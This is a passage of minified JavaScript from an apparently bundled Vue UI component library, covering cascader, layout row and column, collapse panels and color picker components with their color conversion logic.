0:!0)),onKeydown:xe,onMouseenter:$[6]||($[6]=oe=>E.value=!0),onMouseleave:$[7]||($[7]=oe=>E.value=!1)},[ae(d(Gr),{ref_key:"input",ref:g,modelValue:K.value,"onUpdate:modelValue":$[1]||($[1]=oe=>K.value=oe),placeholder:d(b),readonly:d(S),disabled:d(L),"validate-event":!1,size:d(w),class:F(d(ce)),tabindex:d(C)&&Y.filterable&&!d(L)?-1:void 0,onCompositionstart:be,onCompositionupdate:be,onCompositionend:be,onFocus:J,onBlur:V,onInput:O},{suffix:fe(()=>[d(y)?(B(),ye(d(Pe),{key:"clear",class:F([d(u).e("icon"),"icon-circle-close"]),onClick:rt(Re,["stop"])},{default:fe(()=>[ae(d(qa))]),_:1},8,["class","onClick"])):(B(),ye(d(Pe),{key:"arrow-down",class:F(d(de)),onClick:$[0]||($[0]=rt(oe=>Ie(),["stop"]))},{default:fe(()=>[ae(d(Ms))]),_:1},8,["class"]))]),_:1},8,["modelValue","placeholder","readonly","disabled","size","class","tabindex"]),d(C)?(B(),_("div",{key:0,ref_key:"tagWrapper",ref:v,class:F([d(l).e("tags"),d(l).is("validate",!!d(te))])},[(B(!0),_(Qe,null,Lt(j.value,oe=>(B(),ye(d(Nd),{key:oe.key,type:Y.tagType,size:d(A),hit:oe.hitState,closable:oe.closable,"disable-transitions":"",onClose:ee=>ue(oe)},{default:fe(()=>[oe.isCollapseTag===!1?(B(),_("span",See,We(oe.text),1)):(B(),ye(d(Vr),{key:1,disabled:M.value||!Y.collapseTagsTooltip,"fallback-placements":["bottom","top","right","left"],placement:"bottom",effect:"light"},{default:fe(()=>[ne("span",null,We(oe.text),1)]),content:fe(()=>[ne("div",{class:F(d(l).e("collapse-tags"))},[(B(!0),_(Qe,null,Lt(H.value.slice(Y.maxCollapseTags),(ee,ze)=>(B(),_("div",{key:ze,class:F(d(l).e("collapse-tag"))},[(B(),ye(d(Nd),{key:ee.key,class:"in-tooltip",type:Y.tagType,size:d(A),hit:ee.hitState,closable:ee.closable,"disable-transitions":"",onClose:Te=>ue(ee)},{default:fe(()=>[ne("span",null,We(ee.text),1)]),_:2},1032,["type","size","hit","closable","onClose"]))],2))),128))],2)]),_:2},1032,["disabled"]))]),_:2},1032,["type","size","hit","closable","onClose"]))),128)),Y.filterable&&!d(L)?ft((B(),_("input",{key:0,"onUpdate:modelValue":$[2]||($[2]=oe=>W.value=oe),type:"text",class:F(d(l).e("search-input")),placeholder:d(T)?"":d(h),onInput:$[3]||($[3]=oe=>O(W.value,oe)),onClick:$[4]||($[4]=rt(oe=>Ie(!0),["stop"])),onKeydown:un(Q,["delete"]),onCompositionstart:be,onCompositionupdate:be,onCompositionend:be,onFocus:J,onBlur:V},null,42,Eee)),[[Cb,W.value]]):pe("v-if",!0)],2)):pe("v-if",!0)],38)),[[d(Is),()=>Ie(!1),d(we)]])]),content:fe(()=>[ft(ae(d(Yk),{ref_key:"cascaderPanelRef",ref:I,modelValue:d(le),"onUpdate:modelValue":$[8]||($[8]=oe=>mn(le)?le.value=oe:null),options:Y.options,props:r.props,border:!1,"render-label":Y.$slots.default,onExpandChange:Ae,onClose:$[9]||($[9]=oe=>Y.$nextTick(()=>Ie(!1)))},null,8,["modelValue","options","props","render-label"]),[[_t,!x.value]]),Y.filterable?ft((B(),ye(d(Cs),{key:0,ref_key:"suggestionPanel",ref:q,tag:"ul",class:F(d(l).e("suggestion-panel")),"view-class":d(l).e("suggestion-list"),onKeydown:Ze},{default:fe(()=>[P.value.length?(B(!0),_(Qe,{key:0},Lt(P.value,oe=>(B(),_("li",{key:oe.uid,class:F([d(l).e("suggestion-item"),d(l).is("checked",oe.checked)]),tabindex:-1,onClick:ee=>Se(oe)},[ne("span",null,We(oe.text),1),oe.checked?(B(),ye(d(Pe),{key:0},{default:fe(()=>[ae(d(uf))]),_:1})):pe("v-if",!0)],10,Aee))),128)):qe(Y.$slots,"empty",{key:1},()=>[ne("li",{class:F(d(l).e("empty-text"))},We(d(c)("el.cascader.noMatch")),3)])]),_:3},8,["class","view-class"])),[[_t,x.value]]):pe("v-if",!0)]),_:3},8,["visible","teleported","popper-class","transition"]))}});var Lh=Ye(kee,[["__file","cascader.vue"]]);Lh.install=e=>{e.component(Lh.name,Lh)};const xee=Lh,Oee=xee,zee=Ge({checked:{type:Boolean,default:!1},type:{type:String,values:["primary","success","info","warning","danger"],default:"primary"}}),Kee={"update:checked":e=>Un(e),[qn]:e=>Un(e)},Ree=ie({name:"ElCheckTag"}),Lee=ie({...Ree,props:zee,emits:Kee,setup(e,{emit:t}){const n=e,r=Oe("check-tag"),o=N(()=>[r.b(),r.is("checked",n.checked),r.m(n.type||"primary")]),i=()=>{const s=!n.checked;t(qn,s),t("update:checked",s)};return(s,a)=>(B(),_("span",{class:F(d(o)),onClick:i},[qe(s.$slots,"default")],2))}});var Zee=Ye(Lee,[["__file","check-tag.vue"]]);const Tee=It(Zee),Bk=Symbol("rowContextKey"),Nee=["start","center","end","space-around","space-between","space-evenly"],jee=["top","middle","bottom"],Wee=Ge({tag:{type:String,default:"div"},gutter:{type:Number,default:0},justify:{type:String,values:Nee,default:"start"},align:{type:String,values:jee}}),Gee=ie({name:"ElRow"}),Yee=ie({...Gee,props:Wee,setup(e){const t=e,n=Oe("row"),r=N(()=>t.gutter);Ot(Bk,{gutter:r});const o=N(()=>{const s={};return t.gutter&&(s.marginRight=s.marginLeft=`-${t.gutter/2}px`),s}),i=N(()=>[n.b(),n.is(`justify-${t.justify}`,t.justify!=="start"),n.is(`align-${t.align}`,!!t.align)]);return(s,a)=>(B(),ye(Et(s.tag),{class:F(d(i)),style:De(d(o))},{default:fe(()=>[qe(s.$slots,"default")]),_:3},8,["class","style"]))}});var Bee=Ye(Yee,[["__file","row.vue"]]);const Jee=It(Bee),Vee=Ge({tag:{type:String,default:"div"},span:{type:Number,default:24},offset:{type:Number,default:0},pull:{type:Number,default:0},push:{type:Number,default:0},xs:{type:he([Number,Object]),default:()=>Mn({})},sm:{type:he([Number,Object]),default:()=>Mn({})},md:{type:he([Number,Object]),default:()=>Mn({})},lg:{type:he([Number,Object]),default:()=>Mn({})},xl:{type:he([Number,Object]),default:()=>Mn({})}}),Uee=ie({name:"ElCol"}),Fee=ie({...Uee,props:Vee,setup(e){const t=e,{gutter:n}=Fe(Bk,{gutter:N(()=>0)}),r=Oe("col"),o=N(()=>{const s={};return n.value&&(s.paddingLeft=s.paddingRight=`${n.value/2}px`),s}),i=N(()=>{const s=[];return["span","offset","pull","push"].forEach(u=>{const c=t[u];nt(c)&&(u==="span"?s.push(r.b(`${t[u]}`)):c>0&&s.push(r.b(`${u}-${t[u]}`)))}),["xs","sm","md","lg","xl"].forEach(u=>{nt(t[u])?s.push(r.b(`${u}-${t[u]}`)):At(t[u])&&Object.entries(t[u]).forEach(([c,f])=>{s.push(c!=="span"?r.b(`${u}-${c}-${f}`):r.b(`${u}-${f}`))})}),n.value&&s.push(r.is("guttered")),[r.b(),s]});return(s,a)=>(B(),ye(Et(s.tag),{class:F(d(i)),style:De(d(o))},{default:fe(()=>[qe(s.$slots,"default")]),_:3},8,["class","style"]))}});var Hee=Ye(Fee,[["__file","col.vue"]]);const Pee=It(Hee),e7=e=>nt(e)||st(e)||Ve(e),Dee=Ge({accordion:Boolean,modelValue:{type:he([Array,String,Number]),default:()=>Mn([])}}),Xee={[St]:e7,[qn]:e7},Jk=Symbol("collapseContextKey"),Qee=(e,t)=>{const n=D(Ml(e.modelValue)),r=i=>{n.value=i;const s=e.accordion?n.value[0]:n.value;t(St,s),t(qn,s)},o=i=>{if(e.accordion)r([n.value[0]===i?"":i]);else{const s=[...n.value],a=s.indexOf(i);a>-1?s.splice(a,1):s.push(i),r(s)}};return Ce(()=>e.modelValue,()=>n.value=Ml(e.modelValue),{deep:!0}),Ot(Jk,{activeNames:n,handleItemClick:o}),{activeNames:n,setActiveNames:r}},_ee=()=>{const e=Oe("collapse");return{rootKls:N(()=>e.b())}},$ee=ie({name:"ElCollapse"}),ete=ie({...$ee,props:Dee,emits:Xee,setup(e,{expose:t,emit:n}){const r=e,{activeNames:o,setActiveNames:i}=Qee(r,n),{rootKls:s}=_ee();return t({activeNames:o,setActiveNames:i}),(a,l)=>(B(),_("div",{class:F(d(s))},[qe(a.$slots,"default")],2))}});var tte=Ye(ete,[["__file","collapse.vue"]]);const nte=ie({name:"ElCollapseTransition"}),rte=ie({...nte,setup(e){const t=Oe("collapse-transition"),n=o=>{o.style.maxHeight="",o.style.overflow=o.dataset.oldOverflow,o.style.paddingTop=o.dataset.oldPaddingTop,o.style.paddingBottom=o.dataset.oldPaddingBottom},r={beforeEnter(o){o.dataset||(o.dataset={}),o.dataset.oldPaddingTop=o.style.paddingTop,o.dataset.oldPaddingBottom=o.style.paddingBottom,o.style.height&&(o.dataset.elExistsHeight=o.style.height),o.style.maxHeight=0,o.style.paddingTop=0,o.style.paddingBottom=0},enter(o){requestAnimationFrame(()=>{o.dataset.oldOverflow=o.style.overflow,o.dataset.elExistsHeight?o.style.maxHeight=o.dataset.elExistsHeight:o.scrollHeight!==0?o.style.maxHeight=`${o.scrollHeight}px`:o.style.maxHeight=0,o.style.paddingTop=o.dataset.oldPaddingTop,o.style.paddingBottom=o.dataset.oldPaddingBottom,o.style.overflow="hidden"})},afterEnter(o){o.style.maxHeight="",o.style.overflow=o.dataset.oldOverflow},enterCancelled(o){n(o)},beforeLeave(o){o.dataset||(o.dataset={}),o.dataset.oldPaddingTop=o.style.paddingTop,o.dataset.oldPaddingBottom=o.style.paddingBottom,o.dataset.oldOverflow=o.style.overflow,o.style.maxHeight=`${o.scrollHeight}px`,o.style.overflow="hidden"},leave(o){o.scrollHeight!==0&&(o.style.maxHeight=0,o.style.paddingTop=0,o.style.paddingBottom=0)},afterLeave(o){n(o)},leaveCancelled(o){n(o)}};return(o,i)=>(B(),ye(Hn,xt({name:d(t).b()},Oz(r)),{default:fe(()=>[qe(o.$slots,"default")]),_:3},16,["name"]))}});var Zh=Ye(rte,[["__file","collapse-transition.vue"]]);Zh.install=e=>{e.component(Zh.name,Zh)};const Um=Zh,ote=Um,ite=Ge({title:{type:String,default:""},name:{type:he([String,Number]),default:void 0},disabled:Boolean}),ste=e=>{const t=Fe(Jk),{namespace:n}=Oe("collapse"),r=D(!1),o=D(!1),i=eI(),s=N(()=>i.current++),a=N(()=>{var p;return(p=e.name)!=null?p:`${n.value}-id-${i.prefix}-${d(s)}`}),l=N(()=>t==null?void 0:t.activeNames.value.includes(d(a)));return{focusing:r,id:s,isActive:l,handleFocus:()=>{setTimeout(()=>{o.value?o.value=!1:r.value=!0},50)},handleHeaderClick:()=>{e.disabled||(t==null||t.handleItemClick(d(a)),r.value=!1,o.value=!0)},handleEnterClick:()=>{t==null||t.handleItemClick(d(a))}}},ate=(e,{focusing:t,isActive:n,id:r})=>{const o=Oe("collapse"),i=N(()=>[o.b("item"),o.is("active",d(n)),o.is("disabled",e.disabled)]),s=N(()=>[o.be("item","header"),o.is("active",d(n)),{focusing:d(t)&&!e.disabled}]),a=N(()=>[o.be("item","arrow"),o.is("active",d(n))]),l=N(()=>o.be("item","wrap")),u=N(()=>o.be("item","content")),c=N(()=>o.b(`content-${d(r)}`)),f=N(()=>o.b(`head-${d(r)}`));return{arrowKls:a,headKls:s,rootKls:i,itemWrapperKls:l,itemContentKls:u,scopedContentId:c,scopedHeadId:f}},lte=["id","aria-expanded","aria-controls","aria-describedby","tabindex"],ute=["id","aria-hidden","aria-labelledby"],cte=ie({name:"ElCollapseItem"}),dte=ie({...cte,props:ite,setup(e,{expose:t}){const n=e,{focusing:r,id:o,isActive:i,handleFocus:s,handleHeaderClick:a,handleEnterClick:l}=ste(n),{arrowKls:u,headKls:c,rootKls:f,itemWrapperKls:p,itemContentKls:m,scopedContentId:g,scopedHeadId:v}=ate(n,{focusing:r,isActive:i,id:o});return t({isActive:i}),(I,q)=>(B(),_("div",{class:F(d(f))},[ne("button",{id:d(v),class:F(d(c)),"aria-expanded":d(i),"aria-controls":d(g),"aria-describedby":d(g),tabindex:I.disabled?-1:0,type:"button",onClick:q[0]||(q[0]=(...M)=>d(a)&&d(a)(...M)),onKeydown:q[1]||(q[1]=un(rt((...M)=>d(l)&&d(l)(...M),["stop","prevent"]),["space","enter"])),onFocus:q[2]||(q[2]=(...M)=>d(s)&&d(s)(...M)),onBlur:q[3]||(q[3]=M=>r.value=!1)},[qe(I.$slots,"title",{},()=>[Kt(We(I.title),1)]),ae(d(Pe),{class:F(d(u))},{default:fe(()=>[ae(d(Xr))]),_:1},8,["class"])],42,lte),ae(d(Um),null,{default:fe(()=>[ft(ne("div",{id:d(g),role:"region",class:F(d(p)),"aria-hidden":!d(i),"aria-labelledby":d(v)},[ne("div",{class:F(d(m))},[qe(I.$slots,"default")],2)],10,ute),[[_t,d(i)]])]),_:3})],2))}});var Vk=Ye(dte,[["__file","collapse-item.vue"]]);const fte=It(tte,{CollapseItem:Vk}),hte=kn(Vk),pte=Ge({color:{type:he(Object),required:!0},vertical:{type:Boolean,default:!1}});let f0=!1;function jd(e,t){if(!Tt)return;const n=function(i){var s;(s=t.drag)==null||s.call(t,i)},r=function(i){var s;document.removeEventListener("mousemove",n),document.removeEventListener("mouseup",r),document.removeEventListener("touchmove",n),document.removeEventListener("touchend",r),document.onselectstart=null,document.ondragstart=null,f0=!1,(s=t.end)==null||s.call(t,i)},o=function(i){var s;f0||(i.preventDefault(),document.onselectstart=()=>!1,document.ondragstart=()=>!1,document.addEventListener("mousemove",n),document.addEventListener("mouseup",r),document.addEventListener("touchmove",n),document.addEventListener("touchend",r),f0=!0,(s=t.start)==null||s.call(t,i))};e.addEventListener("mousedown",o),e.addEventListener("touchstart",o)}const mte=e=>{const t=bt(),n=ln(),r=ln();function o(s){s.target!==n.value&&i(s)}function i(s){if(!r.value||!n.value)return;const l=t.vnode.el.getBoundingClientRect(),{clientX:u,clientY:c}=v1(s);if(e.vertical){let f=c-l.top;f=Math.max(n.value.offsetHeight/2,f),f=Math.min(f,l.height-n.value.offsetHeight/2),e.color.set("alpha",Math.round((f-n.value.offsetHeight/2)/(l.height-n.value.offsetHeight)*100))}else{let f=u-l.left;f=Math.max(n.value.offsetWidth/2,f),f=Math.min(f,l.width-n.value.offsetWidth/2),e.color.set("alpha",Math.round((f-n.value.offsetWidth/2)/(l.width-n.value.offsetWidth)*100))}}return{thumb:n,bar:r,handleDrag:i,handleClick:o}},vte=(e,{bar:t,thumb:n,handleDrag:r})=>{const o=bt(),i=Oe("color-alpha-slider"),s=D(0),a=D(0),l=D();function u(){if(!n.value||e.vertical)return 0;const M=o.vnode.el,E=e.color.get("alpha");return M?Math.round(E*(M.offsetWidth-n.value.offsetWidth/2)/100):0}function c(){if(!n.value)return 0;const M=o.vnode.el;if(!e.vertical)return 0;const E=e.color.get("alpha");return M?Math.round(E*(M.offsetHeight-n.value.offsetHeight/2)/100):0}function f(){if(e.color&&e.color.value){const{r:M,g:E,b:x}=e.color.toRgb();return`linear-gradient(to right, rgba(${M}, ${E}, ${x}, 0) 0%, rgba(${M}, ${E}, ${x}, 1) 100%)`}return""}function p(){s.value=u(),a.value=c(),l.value=f()}mt(()=>{if(!t.value||!n.value)return;const M={drag:E=>{r(E)},end:E=>{r(E)}};jd(t.value,M),jd(n.value,M),p()}),Ce(()=>e.color.get("alpha"),()=>p()),Ce(()=>e.color.value,()=>p());const m=N(()=>[i.b(),i.is("vertical",e.vertical)]),g=N(()=>i.e("bar")),v=N(()=>i.e("thumb")),I=N(()=>({background:l.value})),q=N(()=>({left:Yn(s.value),top:Yn(a.value)}));return{rootKls:m,barKls:g,barStyle:I,thumbKls:v,thumbStyle:q,update:p}},gte="ElColorAlphaSlider",yte=ie({name:gte}),bte=ie({...yte,props:pte,setup(e,{expose:t}){const n=e,{bar:r,thumb:o,handleDrag:i,handleClick:s}=mte(n),{rootKls:a,barKls:l,barStyle:u,thumbKls:c,thumbStyle:f,update:p}=vte(n,{bar:r,thumb:o,handleDrag:i});return t({update:p,bar:r,thumb:o}),(m,g)=>(B(),_("div",{class:F(d(a))},[ne("div",{ref_key:"bar",ref:r,class:F(d(l)),style:De(d(u)),onClick:g[0]||(g[0]=(...v)=>d(s)&&d(s)(...v))},null,6),ne("div",{ref_key:"thumb",ref:o,class:F(d(c)),style:De(d(f))},null,6)],2))}});var Ite=Ye(bte,[["__file","alpha-slider.vue"]]);const qte=ie({name:"ElColorHueSlider",props:{color:{type:Object,required:!0},vertical:Boolean},setup(e){const t=Oe("color-hue-slider"),n=bt(),r=D(),o=D(),i=D(0),s=D(0),a=N(()=>e.color.get("hue"));Ce(()=>a.value,()=>{p()});function l(m){m.target!==r.value&&u(m)}function u(m){if(!o.value||!r.value)return;const v=n.vnode.el.getBoundingClientRect(),{clientX:I,clientY:q}=v1(m);let M;if(e.vertical){let E=q-v.top;E=Math.min(E,v.height-r.value.offsetHeight/2),E=Math.max(r.value.offsetHeight/2,E),M=Math.round((E-r.value.offsetHeight/2)/(v.height-r.value.offsetHeight)*360)}else{let E=I-v.left;E=Math.min(E,v.width-r.value.offsetWidth/2),E=Math.max(r.value.offsetWidth/2,E),M=Math.round((E-r.value.offsetWidth/2)/(v.width-r.value.offsetWidth)*360)}e.color.set("hue",M)}function c(){if(!r.value)return 0;const m=n.vnode.el;if(e.vertical)return 0;const g=e.color.get("hue");return m?Math.round(g*(m.offsetWidth-r.value.offsetWidth/2)/360):0}function f(){if(!r.value)return 0;const m=n.vnode.el;if(!e.vertical)return 0;const g=e.color.get("hue");return m?Math.round(g*(m.offsetHeight-r.value.offsetHeight/2)/360):0}function p(){i.value=c(),s.value=f()}return mt(()=>{if(!o.value||!r.value)return;const m={drag:g=>{u(g)},end:g=>{u(g)}};jd(o.value,m),jd(r.value,m),p()}),{bar:o,thumb:r,thumbLeft:i,thumbTop:s,hueValue:a,handleClick:l,update:p,ns:t}}});function wte(e,t,n,r,o,i){return B(),_("div",{class:F([e.ns.b(),e.ns.is("vertical",e.vertical)])},[ne("div",{ref:"bar",class:F(e.ns.e("bar")),onClick:t[0]||(t[0]=(...s)=>e.handleClick&&e.handleClick(...s))},null,2),ne("div",{ref:"thumb",class:F(e.ns.e("thumb")),style:De({left:e.thumbLeft+"px",top:e.thumbTop+"px"})},null,6)],2)}var Ste=Ye(qte,[["render",wte],["__file","hue-slider.vue"]]);const Ete=Ge({modelValue:String,id:String,showAlpha:Boolean,colorFormat:String,disabled:Boolean,size:fr,popperClass:{type:String,default:""},label:{type:String,default:void 0},tabindex:{type:[String,Number],default:0},predefine:{type:he(Array)},validateEvent:{type:Boolean,default:!0}}),Ate={[St]:e=>st(e)||$n(e),[qn]:e=>st(e)||$n(e),activeChange:e=>st(e)||$n(e),focus:e=>e instanceof FocusEvent,blur:e=>e instanceof FocusEvent},Uk=Symbol("colorPickerContextKey"),t7=function(e,t,n){return[e,t*n/((e=(2-t)*n)<1?e:2-e)||0,e/2]},Mte=function(e){return typeof e=="string"&&e.includes(".")&&Number.parseFloat(e)===1},Cte=function(e){return typeof e=="string"&&e.includes("%")},Tu=function(e,t){Mte(e)&&(e="100%");const n=Cte(e);return e=Math.min(t,Math.max(0,Number.parseFloat(`${e}`))),n&&(e=Number.parseInt(`${e*t}`,10)/100),Math.abs(e-t)<1e-6?1:e%t/Number.parseFloat(t)},n7={10:"A",11:"B",12:"C",13:"D",14:"E",15:"F"},Th=e=>{e=Math.min(Math.round(e),255);const t=Math.floor(e/16),n=e%16;return`${n7[t]||t}${n7[n]||n}`},r7=function({r:e,g:t,b:n}){return Number.isNaN(+e)||Number.isNaN(+t)||Number.isNaN(+n)?"":`#${Th(e)}${Th(t)}${Th(n)}`},h0={A:10,B:11,C:12,D:13,E:14,F:15},ja=function(e){return e.length===2?(h0[e[0].toUpperCase()]||+e[0])*16+(h0[e[1].toUpperCase()]||+e[1]):h0[e[1].toUpperCase()]||+e[1]},kte=function(e,t,n){t=t/100,n=n/100;let r=t;const o=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=o<=1?o:2-o;const i=(n+t)/2,s=n===0?2*r/(o+r):2*t/(n+t);return{h:e,s:s*100,v:i*100}},o7=(e,t,n)=>{e=Tu(e,255),t=Tu(t,255),n=Tu(n,255);const r=Math.max(e,t,n),o=Math.min(e,t,n);let i;const s=r,a=r-o,l=r===0?0:a/r;if(r===o)i=0;else{switch(r){case e:{i=(t-n)/a+(t<n?6:0);break}case t:{i=(n-e)/a+2;break}case n:{i=(e-t)/a+4;break}}i/=6}return{h:i*360,s:l*100,v:s*100}},Kc=function(e,t,n){e=Tu(e,360)*6,t=Tu(t,100),n=Tu(n,100);const r=Math.floor(e),o=e-r,i=n*(1-t),s=n*(1-o*t),a=n*(1-(1-o)*t),l=r%6,u=[n,s,i,i,a,n][l],c=[a,n,n,s,i,i][l],f=[i,i,a,n,n,s][l];return{r:Math.round(u*255),g:Math.round(c*255),b:Math.round(f*255)}};class ld{constructor(t={}){this._hue=0,this._saturation=100,this._value=100,this._alpha=100,this.enableAlpha=!1,this.format="hex",this.value="";for(const n in t)Gt(t,n)&&(this[n]=t[n]);t.value?this.fromString(t.value):this.doOnChange()}set(t,n){if(arguments.length===1&&typeof t=="object"){for(const r in t)Gt(t,r)&&this.set(r,t[r]);return}this[`_${t}`]=n,this.doOnChange()}get(t){return t==="alpha"?Math.floor(this[`_${t}`]):this[`_${t}`]}toRgb(){return Kc(this._hue,this._saturation,this._value)}fromString(t){if(!t){this._hue=0,this._saturation=100,this._value=100,this.doOnChange();return}const n=(r,o,i)=>{this._hue=Math.max(0,Math.min(360,r)),this._saturation=Math.max(0,Math.min(100,o)),this._value=Math.max(0,Math.min(100,i)),this.doOnChange()};if(t.includes("hsl")){const r=t.replace(/hsla|hsl|\(|\)/gm,"").split(/\s|,/g).filter(o=>o!=="").map((o,i)=>i>2?Number.parseFloat(o):Number.parseInt(o,10));if(r.length===4?this._alpha=Number.parseFloat(r[3])*100:r.length===3&&(this._alpha=100),r.length>=3){const{h:o,s:i,v:s}=kte(r[0],r[1],r[2]);n(o,i,s)}}else if(t.includes("hsv")){const r=t.replace(/hsva|hsv|\(|\)/gm,"").split(/\s|,/g).filter(o=>o!=="").map((o,i)=>i>2?Number.parseFloat(o):Number.parseInt(o,10));r.length===4?this._alpha=Number.parseFloat(r[3])*100:r.length===3&&(this._alpha=100),r.length>=3&&n(r[0],r[1],r[2])}else if(t.includes("rgb")){const r=t.replace(/rgba|rgb|\(|\)/gm,"").split(/\s|,/g).filter(o=>o!=="").map((o,i)=>i>2?Number.parseFloat(o):Number.parseInt(o,10));if(r.length===4?this._alpha=Number.parseFloat(r[3])*100:r.length===3&&(this._alpha=100),r.length>=3){const{h:o,s:i,v:s}=o7(r[0],r[1],r[2]);n(o,i,s)}}else if(t.includes("#")){const r=t.replace("#","").trim();if(!/^[0-9a-fA-F]{3}$|^[0-9a-fA-F]{6}$|^[0-9a-fA-F]{8}$/.test(r))return;let o,i,s;r.length===3?(o=ja(r[0]+r[0]),i=ja(r[1]+r[1]),s=ja(r[2]+r[2])):(r.length===6||r.length===8)&&(o=ja(r.slice(0,2)),i=ja(r.slice(2,4)),s=ja(r.slice(4,6))),r.length===8?this._alpha=ja(r.slice(6))/255*100:(r.length===3||r.length===6)&&(this._alpha=100);const{h:a,s:l,v:u}=o7(o,i,s);n(a,l,u)}}compare(t){return Math.abs(t._hue-this._hue)<2&&Math.abs(t._saturation-this._saturation)<1&&Math.abs(t._value-this._value)<1&&Math.abs(t._alpha-this._alpha)<1}doOnChange(){const{_hue:t,_saturation:n,_value:r,_alpha:o,format:i}=this;if(this.enableAlpha)switch(i){case"hsl":{const s=t7(t,n/100,r/100);this.value=`hsla(${t}, ${Math.round(s[1]*100)}%, ${Math.round(s[2]*100)}%, ${this.get("alpha")/100})`;break}case"hsv":{this.value=`hsva(${t}, ${Math.round(n)}%, ${Math.round(r)}%, ${this.get("alpha")/100})`;break}case"hex":{this.value=`${r7(Kc(t,n,r))}${Th(o*255/100)}`;break}default:{const{r:s,g:a,b:l}=Kc(t,n,r);this.value=`rgba(${s}, ${a}, ${l}, ${this.get("alpha")/100})`}}else switch(i){case"hsl":{const s=t7(t,n/100,r/100);this.value=`hsl(${t}, ${Math.round(s[1]*100)}%, ${Math.round(s[2]*100)}%)`;break}case"hsv":{this.value=`hsv(${t}, ${Math.round(n)}%, ${Math.round(r)}%)`;break}case"rgb":{const{r:s,g:a,b:l}=Kc(t,n,r);this.value=`rgb(${s}, ${a}, ${l})`;break}default:this.value=r7(Kc(t,n,r))}}}const xte=ie({props:{colors:{type:Array,required:!0},color:{type:Object,required:!0}},setup(e){const t=Oe("color-predefine"),{currentColor:n}=Fe(Uk),r=D(i(e.colors,e.color));Ce(()=>n.value,s=>{const a=new ld;a.fromString(s),r.value.forEach(l=>{l.selected=a.compare(l)})}),Gn(()=>{r.value=i(e.colors,e.color)});function o(s){e.color.fromString(e.colors[s])}function i(s,a){return s.map(l=>{const u=new ld;return u.enableAlpha=!0,u.format="rgba",u.fromString(l),u.selected=u.value===a.value,u})}return{rgbaColors:r,handleSelect:o,ns:t}}}),Ote=["onClick"];function zte(e,t,n,r,o,i){return B(),_("div",{class:F(e.ns.b())},[ne("div",{class:F(e.ns.e("colors"))},[(B(!0),_(Qe,null,Lt(e.rgbaColors,(s,a)=>(B(),_("div",{key:e.colors[a],class:F([e.ns.e("color-selector"),e.ns.is("alpha",s._alpha<100),{selected:s.selected}]),onClick:l=>e.handleSelect(a)},[ne("div",{style:De({backgroundColor:s.value})},null,4)],10,Ote))),128))],2)],2)}var Kte=Ye(xte,[["render",zte],["__file","predefine.vue"]]);const Rte=ie({name:"ElSlPanel",props:{color:{type:Object,required:!0}},setup(e){const t=Oe("color-svpanel"),n=bt(),r=D(0),o=D(0),i=D("hsl(0, 100%, 50%)"),s=N(()=>{const u=e.color.get("hue"),c=e.color.get("value");return{hue:u,value:c}});function a(){const u=e.color.get("saturation"),c=e.color.get("value"),f=n.vnode.el,{clientWidth:p,clientHeight:m}=f;o.value=u*p/100,r.value=(100-c)*m/100,i.value=`hsl(${e.color.get("hue")}, 100%, 50%)`}function l(u){const f=n.vnode.el.getBoundingClientRect(),{clientX:p,clientY:m}=v1(u);let g=p-f.left,v=m-f.top;g=Math.max(0,g),g=Math.min(g,f.width),v=Math.max(0,v),v=Math.min(v,f.height),o.value=g,r.value=v,e.color.set({saturation:g/f.width*100,value:100-v/f.height*100})}return Ce(()=>s.value,()=>{a()}),mt(()=>{jd(n.vnode.el,{drag:u=>{l(u)},end:u=>{l(u)}}),a()}),{cursorTop:r,cursorLeft:o,background:i,colorValue:s,handleDrag:l,update:a,ns:t}}}),Lte=ne("div",null,null,-1),Zte=[Lte];function Tte(e,t,n,r,o,i){return B(),_("div",{class:F(e.ns.b()),style:De({backgroundColor:e.background})},[ne("div",{class:F(e.ns.e("white"))},null,2),ne("div",{class:F(e.ns.e("black"))},null,2),ne("div",{class:F(e.ns.e("cursor")),style:De({top:e.cursorTop+"px",left:e.cursorLeft+"px"})},Zte,6)],6)}var Nte=Ye(Rte,[["render",Tte],["__file","sv-panel.vue"]]);const jte=["onKeydown"],Wte=["id","aria-label","aria-labelledby","aria-description","aria-disabled","tabindex"],Gte=ie({name:"ElColorPicker"}),Yte=ie({...Gte,props:Ete,emits:Ate,setup(e,{expose:t,emit:n}){const r=e,{t:o}=Vt(),i=Oe("color"),{formItem:s}=eo(),a=nr(),l=fo(),{inputId:u,isLabeledByFormItem:c}=Fi(r,{formItemContext:s}),f=D(),p=D(),m=D(),g=D(),v=D(),I=D(),{isFocused:q,handleFocus:M,handleBlur:E}=Wm(v,{beforeBlur(Ie){var ge;return(ge=g.value)==null?void 0:ge.isFocusInsideContent(Ie)},afterBlur(){w(!1),z()}}),x=Ie=>{if(l.value)return we();M(Ie)};let R=!0;const K=$t(new ld({enableAlpha:r.showAlpha,format:r.colorFormat||"",value:r.modelValue})),W=D(!1),j=D(!1),H=D(""),P=N(()=>!r.modelValue&&!j.value?"transparent":b(K,r.showAlpha)),U=N(()=>!r.modelValue&&!j.value?"":K.value),X=N(()=>c.value?void 0:r.label||o("el.colorpicker.defaultLabel")),L=N(()=>c.value?s==null?void 0:s.labelId:void 0),h=N(()=>[i.b("picker"),i.is("disabled",l.value),i.bm("picker",a.value),i.is("focused",q.value)]);function b(Ie,ge){if(!(Ie instanceof ld))throw new TypeError("color should be instance of _color Class");const{r:Me,g:se,b:ue}=Ie.toRgb();return ge?`rgba(${Me}, ${se}, ${ue}, ${Ie.get("alpha")/100})`:`rgb(${Me}, ${se}, ${ue})`}function w(Ie){W.value=Ie}const A=co(w,100,{leading:!0});function C(){l.value||w(!0)}function S(){A(!1),z()}function z(){$e(()=>{r.modelValue?K.fromString(r.modelValue):(K.value="",$e(()=>{j.value=!1}))})}function k(){l.value||A(!W.value)}function y(){K.fromString(H.value)}function T(){const Ie=K.value;n(St,Ie),n("change",Ie),r.validateEvent&&(s==null||s.validate("change").catch(ge=>void 0)),A(!1),$e(()=>{const ge=new ld({enableAlpha:r.showAlpha,format:r.colorFormat||"",value:r.modelValue});K.compare(ge)||z()})}function te(){A(!1),n(St,null),n("change",null),r.modelValue!==null&&r.validateEvent&&(s==null||s.validate("change").catch(Ie=>void 0)),z()}function le(Ie){if(W.value&&(S(),q.value)){const ge=new FocusEvent("focus",Ie);E(ge)}}function re(Ie){Ie.preventDefault(),Ie.stopPropagation(),w(!1),z()}function de(Ie){switch(Ie.code){case _e.enter:case _e.space:Ie.preventDefault(),Ie.stopPropagation(),C(),I.value.focus();break;case _e.esc:re(Ie);break}}function ce(){v.value.focus()}function we(){v.value.blur()}return 